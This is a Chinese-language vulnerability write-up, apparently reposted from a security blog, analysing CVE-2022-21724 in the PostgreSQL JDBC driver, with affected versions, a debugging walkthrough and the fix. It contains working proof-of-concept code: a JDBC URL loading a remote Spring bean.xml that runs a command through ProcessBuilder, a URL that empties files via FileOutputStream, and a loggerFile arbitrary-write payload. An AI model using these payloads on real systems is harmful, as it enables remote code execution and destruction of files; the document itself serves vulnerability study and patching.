PostgresQL JDBC Drive 任意代码执行漏洞 CVE-2022-21724

admin 2022年11月9日11:36:21评论54 views字数 5274阅读17分34秒阅读模式

JDBC Java 数据库连接,(Java Database Connectivity)是 Java 语言中用来规范客户端如何访问数据库的应用程序接口,具体讲就是通过 Java 连接广泛数据库,并对表中数据执行增、删、改、查等操作的技术。

  当程序中 JDBC 连接 URL 可控时,可能会造成安全问题。比较具有代表性的就是 JDBC 反序列化漏洞,是在于 mysql 数据库连接时产生的。

漏洞简介

  在 PostgreSQL 数据库的 jdbc 驱动程序中发现一个安全漏洞。当攻击者控制 jdbc url 或者属性时,使用 PostgreSQL 数据库的系统将受到攻击。pgjdbc 根据通过 authenticationPluginClassNamesslhostnameverifiersocketFactory 、sslfactorysslpasswordcallback 连接属性提供类名实例化插件实例。但是,驱动程序在实例化类之前没有验证类是否实现了预期的接口。这可能导致通过任意类加载远程代码执行。

  影响范围:

  9.4.1208 <=PgJDBC <42.2.25

  42.3.0 <=PgJDBC < 42.3.2

漏洞复现

  创建 maven 项目,添加依赖

<!-- https://mvnrepository.com/artifact/org.postgresql/postgresql -->
<dependency>
<groupId>org.postgresql</groupId>
<artifactId>postgresql</artifactId>
<version>42.3.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.springframework/spring-context-support -->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context-support</artifactId>
<version>5.3.23</version>
</dependency>


编写测试代码

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;

public class cve202221724 {
public static void main(String[] args) throws SQLException {
String socketFactoryClass = "org.springframework.context.support.ClassPathXmlApplicationContext";
String socketFactoryArg = "http://127.0.0.1:8080/bean.xml";
String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/test/?socketFactory="+socketFactoryClass+ "&socketFactoryArg="+socketFactoryArg;
Connection connection = DriverManager.getConnection(jdbcUrl);
}
}


bean.xml

<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:p="http://www.springframework.org/schema/p"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<!-- 普通方式创建类-->
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value>calc.exe</value>
</list>
</constructor-arg>
</bean>
</beans>

PostgresQL JDBC Drive 任意代码执行漏洞 CVE-2022-21724

漏洞分析

任意代码执行 socketFactory/socketFactoryArg

PostgresQL JDBC Drive 任意代码执行漏洞 CVE-2022-21724

  先将调试后的流程大概画出

PostgresQL JDBC Drive 任意代码执行漏洞 CVE-2022-21724

  java.sql.DriverManager#getConnection(java.lang.String)

PostgresQL JDBC Drive 任意代码执行漏洞 CVE-2022-21724

java.sql.DriverManager#getConnection(java.lang.String, java.util.Properties, java.lang.Class<?>)

PostgresQL JDBC Drive 任意代码执行漏洞 CVE-2022-21724

利用 org.postgresql.Driver 的 jdbc 驱动去连接数据库

org.postgresql.Driver#connect

PostgresQL JDBC Drive 任意代码执行漏洞 CVE-2022-21724

调用 makeConnection 去连接数据库

org.postgresql.Driver#makeConnection

PostgresQL JDBC Drive 任意代码执行漏洞 CVE-2022-21724

org.postgresql.jdbc.PgConnection#PgConnection

PostgresQL JDBC Drive 任意代码执行漏洞 CVE-2022-21724

org.postgresql.core.ConnectionFactory#openConnection

PostgresQL JDBC Drive 任意代码执行漏洞 CVE-2022-21724

org.postgresql.core.v3.ConnectionFactoryImpl#openConnectionImpl

PostgresQL JDBC Drive 任意代码执行漏洞 CVE-2022-21724

org.postgresql.core.SocketFactoryFactory#getSocketFactory

PostgresQL JDBC Drive 任意代码执行漏洞 CVE-2022-21724

 PGProperty 是枚举类型 其中的 get 方法是判断枚举项的值有没有传入的 properties,如果存在就查找返回,没有就返回默认值

PostgresQL JDBC Drive 任意代码执行漏洞 CVE-2022-21724

SOCKET_FACTORY(
"socketFactory",
null,
"Specify a socket factory for socket creation"),
SOCKET_FACTORY_ARG(
"socketFactoryArg",
null,
"Argument forwarded to constructor of SocketFactory class."),


org.postgresql.util.ObjectFactory#instantiate

PostgresQL JDBC Drive 任意代码执行漏洞 CVE-2022-21724

 通过 newInstance 来实现对 ctor 类 的创建,同时 args 作为参数。构造方法中有且只有一个 String 参数的类就可以满足条件。

  • org.apache.commons.jxpath.functions.ConstructorFunction

  • org.apache.commons.jxpath.functions.MethodFunction

  • java.io.FileOutputStream

  通过利用 CVE-2017-17485 实现 Spring spel 执行任意命令 或者利用 FileOutputStream 将任意文件置空(jdbc:postgresql://127.0.0.1:5432/test/?socketFactory=java.io.FileOutputStream&socketFactoryArg=test.txt)

任意代码执行 sslfactory/sslfactoryarg

PostgresQL JDBC Drive 任意代码执行漏洞 CVE-2022-21724

PostgresQL JDBC Drive 任意代码执行漏洞 CVE-2022-21724

PostgresQL JDBC Drive 任意代码执行漏洞 CVE-2022-21724

<init>:85, ClassPathXmlApplicationContext (org.springframework.context.support)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
instantiate:62, ObjectFactory (org.postgresql.util)
getSslSocketFactory:64, SocketFactoryFactory (org.postgresql.core)
convert:34, MakeSSL (org.postgresql.ssl)
enableSSL:546, ConnectionFactoryImpl (org.postgresql.core.v3)
tryConnect:151, ConnectionFactoryImpl (org.postgresql.core.v3)
openConnectionImpl:215, ConnectionFactoryImpl (org.postgresql.core.v3)
openConnection:51, ConnectionFactory (org.postgresql.core)
<init>:225, PgConnection (org.postgresql.jdbc)
makeConnection:466, Driver (org.postgresql)
connect:265, Driver (org.postgresql)
getConnection:664, DriverManager (java.sql)
getConnection:270, DriverManager (java.sql)
main:17, cve202221724

org.postgresql.core.v3.ConnectionFactoryImpl#openConnectionImpl

PostgresQL JDBC Drive 任意代码执行漏洞 CVE-2022-21724

尝试与数据库进行连接

org.postgresql.core.v3.ConnectionFactoryImpl#tryConnect

PostgresQL JDBC Drive 任意代码执行漏洞 CVE-2022-21724

建立连接后收到请求以 S 开头,进入 org.postgresql.ssl.MakeSSL#convert

org.postgresql.core.v3.ConnectionFactoryImpl#enableSSL

PostgresQL JDBC Drive 任意代码执行漏洞 CVE-2022-21724

PostgresQL JDBC Drive 任意代码执行漏洞 CVE-2022-21724

org.postgresql.ssl.MakeSSL#convert

PostgresQL JDBC Drive 任意代码执行漏洞 CVE-2022-21724

org.postgresql.core.SocketFactoryFactory#getSslSocketFactory

PostgresQL JDBC Drive 任意代码执行漏洞 CVE-2022-21724

任意文件写入 loggerLevel/loggerFile

PostgresQL JDBC Drive 任意代码执行漏洞 CVE-2022-21724

PostgresQL JDBC Drive 任意代码执行漏洞 CVE-2022-21724

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;

public class cve202221724 {
public static void main(String[] args) throws SQLException {
String loggerLevel = "debug";
String loggerFile = "test.txt";
String shellContent="test";
String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/test?loggerLevel="+loggerLevel+"&loggerFile="+loggerFile+ "&"+shellContent;
Connection connection = DriverManager.getConnection(jdbcUrl);
}
}

PostgresQL JDBC Drive 任意代码执行漏洞 CVE-2022-21724

org.postgresql.Driver#connect

PostgresQL JDBC Drive 任意代码执行漏洞 CVE-2022-21724

org.postgresql.Driver#setupLoggerFromProperties

PostgresQL JDBC Drive 任意代码执行漏洞 CVE-2022-21724

通过 设置扩展参数 LOGGER_FILE 指定日志文件保存位置,没有进行校验,所以可以跨目录的保存文件

PostgresQL JDBC Drive 任意代码执行漏洞 CVE-2022-21724

生成临时文件,之后将日志信息保存到文件中

org.postgresql.Driver#connect

先通过 setupLoggerFromProperties 设定相关的参数 然后再利用 LOGGER.log 保存文件

PostgresQL JDBC Drive 任意代码执行漏洞 CVE-2022-21724

漏洞修复

  针对代码执行的漏洞而言,要求获取的类名必须是指定类的子类,否则就抛出异常

PostgresQL JDBC Drive 任意代码执行漏洞 CVE-2022-21724

对于任意文件写入而言,高版本中移除了对日志文件的设定操作 setupLoggerFromProperties(props);

PostgresQL JDBC Drive 任意代码执行漏洞 CVE-2022-21724

来源先知

注:如有侵权请联系删除


欢迎大家一起加群讨论学习和交流

PostgresQL JDBC Drive 任意代码执行漏洞 CVE-2022-21724

人生如镜,你对着它笑,它也对着你笑

原文始发于微信公众号(衡阳信安):PostgresQL JDBC Drive 任意代码执行漏洞 CVE-2022-21724

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年11月9日11:36:21
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   PostgresQL JDBC Drive 任意代码执行漏洞 CVE-2022-21724https://cn-sec.com/archives/1397364.html

发表评论

匿名网友 填写信息